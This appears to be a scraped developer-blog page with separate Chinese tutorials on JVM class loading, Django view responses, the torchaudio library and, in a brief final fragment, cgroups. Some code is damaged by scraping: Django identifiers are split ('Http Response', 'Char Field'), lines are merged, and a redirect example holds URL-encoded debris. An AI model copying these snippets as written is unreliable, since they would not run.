加载是根据特定名称查找类或接口类型的二进制表示(binary representation), 并由此二进制表示来创建类或接口的过程。 链接是为了让类或接口可以被Java虚拟机正确的执行,而将类或接口并入虚拟机运行时状态的过程。 类或接口的初始化是指执行类或接口的初始化方法< clinit >。

其中,加载、验证、准备、初始化和卸载这5个阶段的顺序是确定的。而解析则不一定,在某些情况下是在初始化之后再开始,这是为了支持Java语言的运行时绑定(也称动态绑定或晚期绑定)。另外,上面的阶段通常都是互相交叉混合式进行的,通常会在一个阶段执行的过程中调用、激活另外一个阶段。

下面来看看每一步虚拟机都是怎么做的!

1 类加载的时机

如果一个类不是数组类,那么它可以通过类加载器加载对应的的类Class(二进制文件)文件(经过上面几步)来创建相应的类。因为数组类型没有外部二进制文件,它们都是在虚拟机内部加载的,而不是通过加载器加载的。

虚拟机规范严格规定了有且只有5种情况必须对类进行“初始化”,当然初始化前的三个阶段(加载、验证、准备)就必须在此之前开始执行了。关于这5种必须初始化的场景如下:

  1. 遇到new、getstatic、putstatic或invokestatic这4条字节码指令时,如果类没有初始化,则需要先触发其初始化;这4条指令对应的的常见场景分别是:使用new关键字实例化对象、读取或设置一个类的静态字段(被final修饰、已在编译期把结果放入常量池的静态字段除外)的时候,以及调用一个类的静态方法的时候。注:静态内容是跟类关联的而不是类的对象。
  2. 使用java.lang.reflect包的方法对类进行反射调用的时候,如果类没有进行过初始化,则需要先触发其初始化。使用java.lang.reflect包的方法对类进行反射调用的时候,如果类没有进行过初始化,则需要先触发其初始化。
    注:反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制,这相对好理解为什么需要初始化类。
  3. 当初始化一个类的时候,如果发现其父类还没有进行过初始化,则需要先触发其父类的初始化。 注:子类执行构造函数前需先执行父类构造函数。
  4. 当虚拟机启动时,用户需要指定一个要执行的主类(包含main()方法的那个类),虚拟机会先初始化这个主类。 注:main方法是程序的执行入口
  5. 当使用JDK1.7的动态语言支持时,如果一个java.lang.invoke.MethodHandle实例最后的解析结果REF_getStatic、REF_putStatic、REF_invokeStatic的方法句柄,并且这个方法句柄所对应的类没有进行过初始化。则需要先触发其初始化。注:JDK1.7的一种新增的反射机制,都是对类的一种动态操作。

这5种场景中的行为称为对一个类的主动引用,字面意思,程序员主动引用一个类,如果这个类没有初始化,则会先触发初始化。

除此之外,引用类却不会发生初始化称为被动引用,例如通过子类引用父类的静态字段、通过数组定义来引用类、直接调用类的静态常量字段。

1.1 案例

1、下面是通过子类引用父类的静态字段例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
java复制代码public class SuperClass {
static {
System.out.println("SuperClass init!");
}

public static int value = 123;
}

class SubClass extends SuperClass {
static {
System.out.println("SubClass init!");
}
}

class NotInitialization {
public static void main(String[] args) {
System.out.println(SubClass.value);
//System.out.println(SubClass.class); //会进行初始化
//SubClass subClass = new SubClass(); //会进行初始化
}
}

运行结果:对于静态字段,只有直接定义这个字段的类才会被初始化。注意:此时子类已经被系统加载了,但是未到初始化阶段。

添加vm参数:-XX:+TraceClassLoading再次启动,就可以看见被load的类中包括了子类:

在这里插入图片描述

2、通过数组定义来引用类,不会触发此类的初始化

1
2
3
4
5
6
7
8
9
10
java复制代码/**
* 被动使用类字段演示二:
* 通过数组定义来引用类,不会触发此类的初始化
* 虚拟机会初始化一个[SuperClass的数组类,由虚拟机自动产生,通过执行newarray字节码,不会使用类加载器
**/
public class TestArrayNotInitialization {
public static void main(String[] args) {
SuperClass[] sca = new SuperClass[10];
}
}

3、直接调用类的静态常量字段(static final)

1
2
3
4
5
6
7
8
9
10
11
java复制代码public class ConstClass {
static {
System.out.println("ConstClass init!");
}
public static final String HELLOWORLD = "hello world";
}
class TestStaticFinalNotInitialization {
public static void main(String[] args) {
System.out.println(ConstClass.HELLOWORLD);
}
}

添加vm参数:-XX:+TraceClassLoading再次启动,就可以看见被load的类中并没有包括ConstClass,实际上这个常量在编译时被优化、放在了TestStaticFinalNotInitialization类的常量池中。

使用javap -v TestStaticFinalNotInitialization.class反编译TestStaticFinalNotInitialization类的class文件,从中可以看到,main方法引用的字符串指向了自身类的字符串常量池的第四个常量:

在这里插入图片描述

根据第四个和第二十五个常量就能看出来,ConstClass 的常量字段被放在了TestStaticFinalNotInitialization类的常量池中。

在这里插入图片描述

在这里插入图片描述

2 类加载的过程

2.1 加载

注意:加载是“类加载”过程的一个阶段。在加载阶段,虚拟机需要完成3件事情:

  1. 通过一个类的全限定名来获取定义此类的二进制字节流。 注意,这里第1条中的二进制字节流并不只是单纯地从Class文件中获取,比如它还可以从Jar包中获取、从网络中获取(最典型的应用便是Applet)、由其他文件生成(JSP应用)等。
  2. 将这个字节流所代表的静态存储结构转化为方法区的运行时数据结构。 方法区域和Java堆一样,是各线程共享的内存区域,它用于存储已被虚拟机加载的类信息、常量、静态变量、即时编译后的代码等数据。方法区中的数据存储结构格式虚拟机自行定义。
  3. 在内存中生成一个代表这个类的java.lang.Class对象,作为方法区这个类的各种数据的访问入口。 在Java内存中实例化一个java.lang.Class类的对象(并没有明确是在java堆中,对于HotSpot虚拟机而言,Class对象比较特殊,虽然是对象,但是存放在方法区中),这样便可以通过该对象访问方法区中的这些数据。

数组类的加载阶段有所不同,从以上“被动引用例子2”我们就知道,数组类的应用是不会对该类进行初始化,而是虚拟机通过字节码指令“newarray”去创建一个“[Object”对象。“初始化阶段”是在“加载阶段”之后,但不代表该类不会被加载。接下来,看看数组类加载过程要遵循的规则:

  1. 如果数组的组件类型是引用类型(非基础类型),那就递归去加载这个组件类型。
  2. 如果数组组件类型不是引用类型(例如int[]数组),Java虚拟机将会把该数组标记为与引导类加载器关联。
  3. 数组类的可见性与他的组件类型可见性一致,如果组件类型不是引用类型,那数组的可见性将默认为public。

相对于类加载的其他阶段而言,加载阶段(准确地说,是加载阶段获取类的二进制字节流的动作)是可控性最强的阶段,因为开发人员既可以使用系统提供的类加载器来完成加载,也可以自定义自己的类加载器来完成加载。

类加载阶段的第一件事“通过一个类的全限定名来获取定义此类的二进制字节流”,是启动类加载器完成的。类加载器虽然只用于实现类的加载动作,但它在Java程序中起到的作用却远远不限于类的加载阶段。对于任意一个类,都需要由它的类加载器和这个类本身一同确定其在就Java虚拟机中的唯一性,也就是说,即使两个类来源于同一个Class文件,只要加载它们的类加载器不同,那这两个类就必定不相等。这里的“相等”包括了代表类的Class对象的equals()、isAssignableFrom()、isInstance()等方法的返回结果,也包括了使用instanceof关键字对对象所属关系的判定结果。

加载阶段与连接阶段的部分内容(如一部分字节码文件格式验证动作)是交叉进行的,加载阶段尚未完成,连接阶段可能已经开始,但这些在加载阶段之中进行的动作,仍然属于连接阶段的内容,这两个阶段的开始时间仍然保持着固定的先后顺序,也就是必须先加载才能验证。

2.2 验证

验证是连接的第一步,验证阶段目的是为了确保Class文件的字节流包含的信息符合当前虚拟机的要求,确保Java虚拟机不受恶意代码的攻击。从整体上看,验证阶段大致上会完成下面4个阶段的检查动作:第一、文件格式验证;第二、元数据验证;第三、字节码验证;第四、符号引用验证。

  1. 验证字节流是否符合Class文件格式的规范,并且能被当前版本的虚拟机处理。 例如: 是否以魔数0xCAFEBABE开头; 主、次版本号是否在当前虚拟机处理范围内;常量池的常量中是否有不被支持的常量类型(检查常量tag标志);指向常量的各种索引值中是否有指向不存在的常量或不符合类型的常量;CONSTANT_Utf8_info型的常量中是否有不符合UTF8编码的数据; Class文件中各个部分及文件是否有被删除的或附加的其他信息…
  2. 元数据验证,保证不存在不符合Java语言规范的元数据信息。 例如:这个类是否有父类(除了java.lang.Object之外,所有的类都应当有父类);这个类的父类是否继承了不允许被继承的类(被final修饰的类); 如果这个类不是抽象类,是否实现了其父类或接口之中要求实现的所有方法;类中的字段、方法是否与父类产生矛盾(例如覆盖了父类的final字段,或者出现不符合规则的方法重载,例如方法参数都一致,但返回值类型却不同等)…
  3. 字节码验证,保证被校验类的方法在运行时不会做出危害虚拟机安全的事件。 例如: 保证任意时刻操作栈的数据类型与指令代码序列都能配合工作,例如不会出现类似这样的情况:在操作栈放置了一个int类型的数据,使用时却按long类型来加载如本地变量中; 保证跳转指令不会跳转到方法体以外的字节码指令上;保证方法体中的类型转换是有效的;“字节码验证”是整个验证阶段最消耗时间的,虽然如此但也不能保证绝对安全。
  4. 符号引用验证发生在虚拟机将符号引用转化为直接引用的时候,即“解析”阶段,确保在后续的“解析”阶段能正常执行。 符号引用中通过字符串描述的全限定名是否能找到对应的类;在指定类中是否存在符合方法的字段描述符以及简单名称所描述的方法和字段;在符号引用中的类、字段、方法的访问性(private、protected、public、default)是否可被当前类访问;如果我们代码无法通过符号验证,例如根据全限定名无法找到对应的类,会抛出noSuchClass异常。

2.3 准备

准备阶段是正式为类变量分配内存设置类变量初始化值的阶段,这些变量所使用的内存都将在方法区中进行分配。

这时候进行内存分配的仅包括类变量(被static修饰的变量),而不包括实例变量,实例变量将会在对象实例化时随着对象一起分配在Java堆中。其次,这里所说的初始值“通常情况”下是数据类型的零值,假设一个类变量的定义为:public static int value = 123;那变量value在准备阶段过后的初始化值为0而不是123,因为这是尚未开始执行任何Java方法,而把value赋值为123的putstatic指令是程序被编译后存放在类构造器()方法之中,所以把value赋值为123的动作将在初始化阶段才会执行。
在这里插入图片描述

上面提到通常情况下准备阶段是赋予零值,也有特殊情况,比如被final修饰的常量量,在准备阶段就要赋予value指定的值,如下代码:

1
java复制代码public static final int value = 123;

在编译生成的Class文件中,常量字段具有ConstantValue属性,存放于常量池中,ConstantValue属性持有常量的具体值,在准备阶段该常量就会被赋与具体值(并非Java字节码引起的)。如果不是常量,那么将会在初始化阶段进行赋值(在方法中,是由字节码引起的,比如ldc、putstatic字节码指令)。关于Class文件结构和ConstantValue属性,可以看:Java的 Class(类)文件结构详解。

2.4 解析

解析阶段是虚拟机将常量池的符号引用直接替换为直接引用的过程。

符号引用以一组符号来描述所引用的目标,符号可以是任何形式的字面量,只要使用时能无歧义地定位到目标即可。符号引用的目标不一定加载到内存中。直接引用可以是直接指向目标的指针、相对偏移量或是一个能间接点位到目标的句柄。直接引用是和虚拟机实现的内存布局相关的。

对同一个符号引用进行多次解析请求是很常见的事情,虚拟机实现可以对第一次解析的结果进行缓存(在运行时常量池中记录直接引用,并把常量标识为已解析状态)从而避免解析动作重复进行。但对于invokedynamic指令,上面规则则不成立。

解析动作主要针对类或接口、字段、类方法、接口方法、方法类型、方法句柄和调用点限定符7类符号进行引用,下面只对前4种引用的解析过程进行介绍:

2.4.1 类或接口的解析

假设当前代码所处的类为D,如果要把一个从未解析过的符号引用N解析为 一个类或接口C的直接引用,那虚拟机完成整个解析过程需要一个3个步骤:

如果C不是一个数组类型,那虚拟机将会把代表N的全限定名传递给D的类加载器去加载这个类C。在加载过程中,由于元数据验证、字节码验证的需要,又可能触发其他相关类的加载动作,例如加载这个类的父类或实现接口。一旦这个加载过程出现了任何异常,解析过程宣布失败。

如果C是一个数组类型,并且数组的元素类型是对象,也就是N的描述符会是类似“[Ljava/lang/Integer”的形式,那将会按照第1点的规则加载数组元素类型。如果N的描述如前面所假设的形式,需要加载的元素类型就是“Java.lang.Integer”,接着有虚拟机生成一个代表此数组维度和元素的数组对象:“[Ljava/lang/Integer”(数组引用可回顾上文“类加载时机-被动引用演示二”)。

如果上述步骤没有出现任何异常,那么C在虚拟机中实际上已经成为一个有效的类或接口了,但在解析完成之前还要进行符号引用验证,确认D是否具备对C的访问权限。如果发现不具备访问权限,将抛出java.lang.IllegalAccessError异常。

2.4.1 字段解析

要解析一个未被解析过的字段符号引用,首先将会对字段表内class_index项中索引的CONSTANT_Class_info符号引用进行解析,也就是字段所属的类或接口的符号引用。对字段进行解析时,会先在本类中查找是否包含有简单名称和字段描述符都与目标相匹配的字段,如果有,则查找结束;如果没有,则会按照继承关系从上往下递归搜索该类所实现的各个接口和它们的父接口,还没有,则按照继承关系从上往下递归搜索其父类,直至查找结束。

2.4.1 类方法解析

对类方法的解析与对字段解析的搜索步骤差不多,只是多了判断该方法所处的是类还是接口的步骤,而且对类方法的匹配搜索,是先搜索父类,再搜索接口。

2.4.1 接口方法解析

与类方法解析步骤类似,知识接口不会有父类,因此,只递归向上搜索父接口就行了。

2.5 初始化

初始化阶段,才真正开始执行类中定义的Java程序代码。在准备阶段,类变量已经被赋过一次系统要求的初始值,而在初始化阶段,则是根据程序员通过程序指定的主观计划去初始化类变量和其他资源,或者可以从另一个角度来表达:初始化阶段是执行类构造器< clinit>()方法的过程。

这里简单说明下< clinit>()方法的执行规则:

  1. < clinit>()方法方法是由编译器自动收集类中的所有类变量的赋值动作和静态语句块中的语句合并产生的,编译器收集的顺序是由语句在源文件中出现的顺序所决定的,静态语句块中只能访问到定义在静态语句块之前的变量,定义在它之后的变量,在前面的静态语句中可以赋值,但是不能访问。
  2. < clinit>()方法与实例构造器< init >()方法(类的构造函数)不同,它不需要显式地调用父类构造器,虚拟机会保证在子类的< clinit>()方法执行之前,父类的()方法已经执行完毕。因此,在虚拟机中第一个被执行的< clinit >方法的类肯定是java.lang.Object。
  3. < clinit>()方法对于类或接口来说并不是必须的,如果一个类/接口中没有静态语句块,也没有对类变量的赋值操作,或者该类声明了类变量,但没有明确使用类变量初始化语句或静态初始化语句初始化或者该类仅包含静态 final 变量的类变量初始化语句,并且类变量初始化语句是编译时常量表达式,那么编译器可以不为这个类生成< clinit>()方法。
  4. 接口中不能使用静态语句块,但仍然有类变量(final static)初始化的赋值操作,因此接口与类一样会生成< clinit>()方法。 但是接口与类不同的是:执行接口的< clinit>()方法不需要先执行父接口的< clinit>()方法,只有当父接口中定义的变量被使用时,父接口才会被初始化。另外,接口的实现类在初始化时也一样不会执行接口的< clinit>()方法。
  5. 虚拟机会保证一个类的< clinit>()方法在多线程环境中被正确地加锁和同步,如果多个线程同时去初始化一个类,那么只会有一个线程去执行这个类的< clinit>()方法,其他线程都需要阻塞等待,直到活动线程执行< clinit>()方法完毕。如果在一个类的< clinit>()方法中有耗时很长的操作,那就可能造成多个线程阻塞,在实际应用中这种阻塞往往是很隐蔽的。

2.5.1 执行顺序案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
java复制代码class Father {
public static int a = 1;
static {
a = 2;
}
}
class Child extends Father {
public static int b = a;
}
public class ClinitTest {
public static void main(String[] args) {
System.out.println(Child.b);
}
}

执行上面的代码,会打印出2,也就是说b的值被赋为了2。我们来看得到该结果的步骤。首先在准备阶段为类变量分配内存并设置类变量初始值,这样A和B均被赋值为默认值0,而后再在调用< clinit>()方法时给他们赋予程序中指定的值。当我们调用Child.b时,触发Child的< clinit>()方法,根据规则2,在此之前,要先执行完其父类Father的< clinit>()方法,又根据规则1,在执行< clinit>()方法时,需要按static语句或static变量赋值操作等在代码中出现的顺序来执行相关的static语句,因此当触发执行Father的< clinit>()方法时,会先将a赋值为1,再执行static语句块中语句,将a赋值为2,而后再执行Child类的< clinit>()方法,这样便会将b的赋值为2。

如果我们颠倒一下Father类中“public static int a = 1;”语句和“static语句块”的顺序,程序执行后,则会打印出1。很明显是根据规则1,执行Father的< clinit>()方法时,根据顺序先执行了static语句块中的内容,后执行了“public static int a = 1;”语句。

另外,在颠倒二者的顺序之后,如果在static语句块中对a进行访问(比如将a赋给某个变量),在编译时将会报错,因为根据规则1,它只能对a进行赋值,而不能访问。

2.5.1 演示初始化死锁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
java复制代码/**
* 演示初始化死锁
*/
public class InitLock extends Thread {
private String name;

private InitLock(String name) {
this.name = name;
}

@Override
public void run() {
try {
setName(name);
Class.forName("com.ikang.JVM.staticfiled." + name);
System.out.println("init " + name + " is ok!");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}

public static void main(String[] args) throws InterruptedException {
//线程一:先初始化ClassA,在ClassA内部请求初始化ClassB
InitLock a = new InitLock("ClassA");
a.start();
//加上睡眠时间,等待线程一把ClassB和ClassA初始化完毕,线程二再尝试初始化就不会死锁。
Thread.sleep(2000);
//线程二:先初始化ClassB,在ClassB内部请求初始化ClassA
InitLock b = new InitLock("ClassB");
b.start();
}
}

class ClassA {
static {
try {
//ClassA中初始化ClassB,必须持有ClassA和ClassB
Class.forName("com.ikang.JVM.staticfiled.ClassB");
System.out.println("ClassB is ok!");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}

class ClassB {
static {
try {
//ClassB中初始化ClassA,必须持有ClassB和ClassA
Class.forName("com.ikang.JVM.staticfiled.ClassA");
System.out.println("ClassA is ok!");
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}

使用jps 和jstack可以看到两个线程都在等待,实际上已经发生了死锁,但是线程状态并没有被改变,还都是RUNNABLE,因此容易误导开发者。

在这里插入图片描述

相关文章:

  1. 《深入理解Java虚拟机》

如有需要交流,或者文章有误,请直接留言。另外希望点赞、收藏、关注,我将不间断更新各种Java学习博客!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Django视图函数响应“三剑客”

发表于 2021-11-06

这是我参与11月更文挑战的第6天,活动详情查看:2021最后一次更文挑战

Django视图对请求做出响应经常用到Http Response()、render()、redirect() 3个函数,它们被称为视图函数的“三剑客”

Http Response()函数

render()函数

render()函数由django.shortcuts模块提供,其功能是根据模板文件和传给模板文件的字典类型的变量,生成一个Http Response对象并返回。

函数格式为

1
python复制代码render(request, template_name, context=None,content_type=None, status=None)
  • request:位置参数,代表传给视图函数的Web请求,封装了请求头的所有数据,其实就是视图参数request。
  • template_name:必选位置参数,指的是要使用的模板文件的名称,一般是放在templates目录下的HTML文件。
  • context:可选参数,数据是字典类型,默认是一个空字典,保存要传到HTML文件中的变量。
  • content_type:可选命名参数,用于设置生成的文档的MIME(MultipurposeInternet Mail Extension,多用途互联网邮件扩展)类型。默认为DEFAULT_CONTENT_TYPE的值text/html。
  • status:可选参数,表示响应的状态代码,默认为200。

例子:

1
2
3
4
5
6
7
python复制代码from django.shortcuts import renderdef test_view(request):
# 视图的代码写在这里
def xxx(request):
xxxxxxx
return render(request, 'index.html', {'welcome': 'hello world!'} ,content_type='text/html')

# 传递变量名为welcome值为'hello world!'的变量

redirect()函数

redirect()函数接收一个参数,表示让浏览器跳转到指定的 URL;这个参数可以是数据模型(Model)对象、视图函数名称或URL。

参数是一个数据模型(Model)对象时

redirect()函数将调用数据模型中定义的get_absolute_url()函数,并取得该函数返回的URL值,然后跳转到该URL。

例子

urls.py:

1
2
3
4
python复制代码.....
path('dep/<int:dep_id>/',views.depdetail,name='depdetail'),
path('test_redirect/',views.test_redirect),
....

models.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
python复制代码#导入数据模块
from django.db import models
# 导入反向解析函数
from django.urls import reverse
# 部门数据模型(部门数据表)
class department(models.Model):
# 部门名称,为字符类型
dep_name=models.Char Field(max_length=32,verbose_name='部门名称',unique=True, blank=False)
# 部门备注说明
dep_script=models.Char Field(max_length=60,verbose_name='备注',null=True)
# 数据模型的get_absolute_url()方法
def get_absolute_url(self):
# 反向解析URL,解析成/dep/ self.pk /
return reverse('depdetail',kwargs={'dep_id':self.pk})
# 在数据模型department中定义了一个函数get_absolute_url(),该函数返回一个URL。

reverse()是URL反向解析函数,它的第一个参数的值是’depdetail’,它是名字为depdetail的URL配置项。reverse的解析过程是:找到当前应用test_view下urls.py中名字为depdetail的配置项,reverse()函数会找到对应的URL,根据传给它的字典类型参数(kwargs={‘dep_id’:self.pk})进行组合,最终解析生成完整的URL。

views.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
python复制代码from django.shortcuts 
import render,Http Response,redirect
from . import models
def depdetail(request,dep_id):
# 根据传入的参数值取出一条记录
obj=models.department.objects.get(id=dep_id)
# 返回Http Response对象
return Http Response('部门:'+obj.dep_name+',备注:'+obj.dep_script)
def test_redirect(request):
obj=models.department.objects.get(id=1)
# 用redirect()重定向,参数是数据模型对象,所以重定向到数据模型get_absolute_url生成的URL
# 这个URL对应视图函数views.depdetail(),实际上调用这个函数
return redirect(obj)

视图函数test_redirect()中有一个redirect()函数,这里的redirect()函数运行流程分为以下3步。

  • 由于传入redirect()函数的参数obj是一个数据模型实例对象(数据记录),这个对象的数据模型类是department,因此调用该对象的get_absolute_url()方法。
  • get_absolute_url()通过reverse()函数把URL配置项名字和obj的id当作参数反向解析出一个URL并返回给redirect()函数,这个URL形如“/dep/1/”。
  • reverse()函数得到URL后去urls.py文件中找匹配关系,找到对应视图函数为depdetail(),最后执行这个函数。

参数是视图函数名称时

redirect()函数通过视图函数名称和视图函数参数反向解析出URL并重定向到这个URL。下面的代码传入了一个视图函数名称depdetail和参数

1
2
3
python复制代码def test_redirect(request):
# 视图函数depdetail()有参数dep_id
return redirect('depdetail',dep_id=2)

这里的redirect()函数的执行过程是首先反向解析出URL,到urls.py文件中找到URL对应的视图函数,执行视图函数depdetail()。在外部看可以这样理解,通过redirect()直接调用了视图函数depdetail()。

参数是完整的URL时

redirect()函数直接打开这个URL指向的网页。参数有http://作前缀,才算完整的URL,如:return redirect(‘http://127.0.0.1:8000/dep/2/‘)和return%E5%92%8Creturn) redirect(‘http://网址/‘)。%E3%80%82)

参数是URL

但不带http://和https://时,redirect()函数会到urls.py文件中寻找匹配,如果有匹配就定向到这个URL并执行对应的视图函数,如果没有匹配则直接重定向到这个地址。

return redirect(‘/dep/66/‘)

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

使用 PyTorch 进行音频信号处理的数据操作和转换

发表于 2021-11-06

「这是我参与11月更文挑战的第6天,活动详情查看:2021最后一次更文挑战」

🌊 作者主页:海拥

🌊 作者简介:🥇HDZ核心组成员、🏆全栈领域优质创作者、🥈蝉联C站周榜前十

🌊 粉丝福利:进粉丝群每周送四本书(每位都有),每月抽送各种小礼品(掘金搪瓷杯、抱枕、鼠标垫、马克杯等)

torchaudio:PyTorch 的音频库

torchaudio 的目标是将PyTorch应用到音频领域。通过支持 PyTorch,torchaudio 遵循相同的理念,即提供强大的 GPU 加速,通过 autograd 系统专注于可训练的特征,并具有一致的风格(张量名称和维度名称)。因此,它主要是一个机器学习库,而不是一个通用的信号处理库。PyTorch 的好处可以在 torchaudio 中看到,因为所有计算都通过 PyTorch 操作进行,这使得它易于使用并且感觉像是一个自然的扩展。

  • 支持音频 I/O(加载文件、保存文件)
+ 使用 SoX 将以下格式加载到 Torch Tensor 中


    - mp3、wav、aac、ogg、flac、avr、cdda、cvs/vms、
    - aiff, au, amr, mp2, mp4, ac3, avi, wmv,
    - mpeg、ircam 和 libsox 支持的任何其他格式。
    - [Kaldi (方舟/SCP)](http://pytorch.org/audio/stable/kaldi_io.html)
  • 常见音频数据集的数据加载器(VCTK,YesNo)
  • 常见的音频转换
+ 频谱图、AmplitudeToDB、MelScale、MelSpectrogram、MFCC、MuLawEncoding、MuLawDecoding、重采样
  • 合规性接口:使用 PyTorch 运行与其他库一致的代码
+ [Kaldi:频谱图、fbank、mfcc、resample\_waveform](https://pytorch.org/audio/stable/compliance.kaldi.html)

依赖关系

  • PyTorch(兼容版本见下文)
  • libsox v14.3.2 或更高版本(仅在从源代码构建时需要)
  • [可选] vesis84/kaldi-io-for-python commit cb46cb1f44318a5d04d4941cf39084c5b021241e 或以上

以下是对应的torchaudio版本和支持的Python版本。

torch torchaudio python
master / nightly master / nightly >=3.6
1.7.0 0.7.0 >=3.6
1.6.0 0.6.0 >=3.6
1.5.0 0.5.0 >=3.5
1.4.0 0.4.0 ==2.7, >=3.5,<=3.8

安装

二元分布

要使用 anaconda 安装最新版本,请运行:

1
python复制代码conda install -c pytorch torchaudio

要安装最新的 pip 轮子,请运行:

1
python复制代码pip install torchaudio -f https://download.pytorch.org/whl/torch_stable.html

(如果您还没有安装 Torch,这将默认从 PyPI 安装 Torch。如果您需要不同的 Torch 配置,请在运行此命令之前预安装 Torch。)

Nightly 构建

请注意,每晚构建是在 PyTorch 的每晚构建基础上构建的。因此,当您使用每晚构建的 torchaudio 时,您需要安装最新的 PyTorch。

pip

1
2
python复制代码pip install numpy
pip install --pre torchaudio -f https://download.pytorch.org/whl/nightly/torch_nightly.html

conda

1
python复制代码conda install -y -c pytorch-nightly torchaudio

从 Source

如果您的系统配置不在上述支持的配置中,您可以从源代码构建 torchaudio。

这将需要 libsox v14.3.2 或更高版本。

如何安装 SoX 的示例

OSX(自制软件):

1
python复制代码brew install sox

Linux(Ubuntu):

1
python复制代码sudo apt-get install sox libsox-dev libsox-fmt-all

Python

1
python复制代码conda install -c conda-forge sox
1
2
3
4
5
python复制代码# Linux
python setup.py install

# OSX
MACOSX_DEPLOYMENT_TARGET=10.9 CC=clang CXX=clang++ python setup.py install

或者,构建过程可以静态构建 libsox 和一些可选的编解码器,并且 torchaudio 可以通过设置环境变量来链接它们BUILD_SOX=1。构建过程将在构建扩展之前获取并构建 libmad、lame、flac、vorbis、opus 和 libsox。此过程需要cmake和pkg-config。

1
2
3
python复制代码# Linux 
BUILD_SOX=1 python setup.py install # OSX
BUILD_SOX=1 MACOSX_DEPLOYMENT_TARGET=10.9 CC=clang CXX=clang++ python setup.py install

众所周知,这适用于 linux 和 unix 发行版,例如 Ubuntu 和 CentOS 7 以及 macOS。如果您在新系统上尝试此操作并找到使其工作的解决方案,请随时通过打开问题来共享它。

故障排除

检查构建系统类型… ./config.guess: 无法猜测系统类型

由于编解码器的配置文件较旧,因此无法正确检测新环境,例如 Jetson Aarch。需要用最新的或替换该config.guess文件。./third_party/tmp/lame-3.99.5/config.guess``./third_party/tmp/libmad-0.15.1b/config.guess:github.com/gcc-mirror/…

另见:#658

使用“BUILD_SOX”时对“tgetnum”的未定义引用

如果在 anaconda 环境中构建时遇到类似以下的错误:

1
Python复制代码../bin/ld: console.c:(.text+0xc1): undefined reference to `tgetnum'

安装ncurses从conda-forge运行前python setup.py install:

1
2
Python复制代码# 从 conda-forge 安装 ncurses
conda install -c conda-forge ncurses

快速使用

1
2
3
4
Python复制代码import torchaudio

waveform, sample_rate = torchaudio.load('foo.wav') # load tensor from file
torchaudio.save('foo_save.wav', waveform, sample_rate) # save tensor to file

后端调度

默认情况下,在 OSX 和 Linux 中,torchaudio 使用 SoX 作为后端来加载和保存文件。可以使用以下命令将后端更改为SoundFile。有关安装说明,请参阅SoundFile。

1
2
3
4
5
Python复制代码import torchaudio
torchaudio.set_audio_backend("soundfile") # 切换后台

waveform, sample_rate = torchaudio.load('foo.wav') # 像通常一样从文件加载张量
torchaudio.save('foo_save.wav', waveform, sample_rate) # 像往常一样将张量保存到文件中

与 SoX 不同,SoundFile 目前不支持 mp3。

API 参考

API 参考位于此处:pytorch.org/audio/

公约

由于 torchaudio 是一个机器学习库,并且构建在 PyTorch 之上,torchaudio 围绕以下命名约定进行了标准化。假定张量将“通道”作为第一个维度,将时间作为最后一个维度(如果适用)。这使其与 PyTorch 的尺寸一致。对于大小名称,使用前缀n_(例如“大小为 ( n_freq, n_mel)的张量”),而维度名称没有此前缀(例如“维度(通道,时间)的张量”)

  • waveform:具有维度(通道、时间)的音频样本张量
  • sample_rate:音频维度的速率(每秒采样数)
  • specgram:具有维度(通道、频率、时间)的频谱图张量
  • mel_specgram:具有维度(通道、mel、时间)的mel谱图
  • hop_length:连续帧开始之间的样本数
  • n_fft:傅立叶箱的数量
  • n_mel, n_mfcc: mel 和 MFCC bin 的数量
  • n_freq:线性频谱图中的 bin 数量
  • min_freq:频谱图中最低频段的最低频率
  • max_freq:频谱图中最高频段的最高频率
  • win_length: STFT 窗口的长度
  • window_fn: 对于创建窗口的函数,例如 torch.hann_window

转换期望并返回以下维度。

  • Spectrogram:(频道,时间)->(频道,频率,时间)
  • AmplitudeToDB:(频道,频率,时间)->(频道,频率,时间)
  • MelScale: (频道, 频率, 时间) -> (频道, mel, 时间)
  • MelSpectrogram:(频道,时间)->(频道,mel,时间)
  • MFCC:(频道,时间)->(频道,mfcc,时间)
  • MuLawEncode:(频道,时间)->(频道,时间)
  • MuLawDecode:(频道,时间)->(频道,时间)
  • Resample:(频道,时间)->(频道,时间)
  • Fade:(频道,时间)->(频道,时间)
  • Vol:(频道,时间)->(频道,时间)

复数经由(…,2)尺寸的张量支撑,并且提供torchaudiocomplex_norm和angle这样的张量转换成它的幅度和相位。在这里,在文档中,我们使用省略号“…”作为张量其余维度的占位符,例如可选的批处理和通道维度。

贡献指南

请参考CONTRIBUTING.md

数据集免责声明

这是一个下载和准备公共数据集的实用程序库。我们不托管或分发这些数据集,不保证其质量或公平性,也不声称您拥有使用该数据集的许可。您有责任确定您是否有权根据数据集的许可使用数据集。

如果您是数据集所有者并希望更新其中的任何部分(描述、引文等),或者不希望您的数据集包含在此库中,请通过 GitHub 问题与我们联系。感谢您对 ML 社区的贡献!

GitHub

github.com/pytorch/aud…

写在最后的

作者立志打造一个拥有100个小游戏的摸鱼网站,更新进度:40/100

我已经写了很长一段时间的技术博客,并且主要通过掘金发表,这是我的一篇关于使用 PyTorch 进行音频信号处理的数据操作和转换 。我喜欢通过文章分享技术与快乐。你可以访问我的博客: juejin.cn/user/204034… 以了解更多信息。希望你们会喜欢!😊

💌 欢迎大家在评论区提出意见和建议!💌

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

没有 Cgroups,就没有 Docker

发表于 2021-11-06

「这是我参与11月更文挑战的第6天,活动详情查看:2021最后一次更文挑战」

Cgroups 是什么?

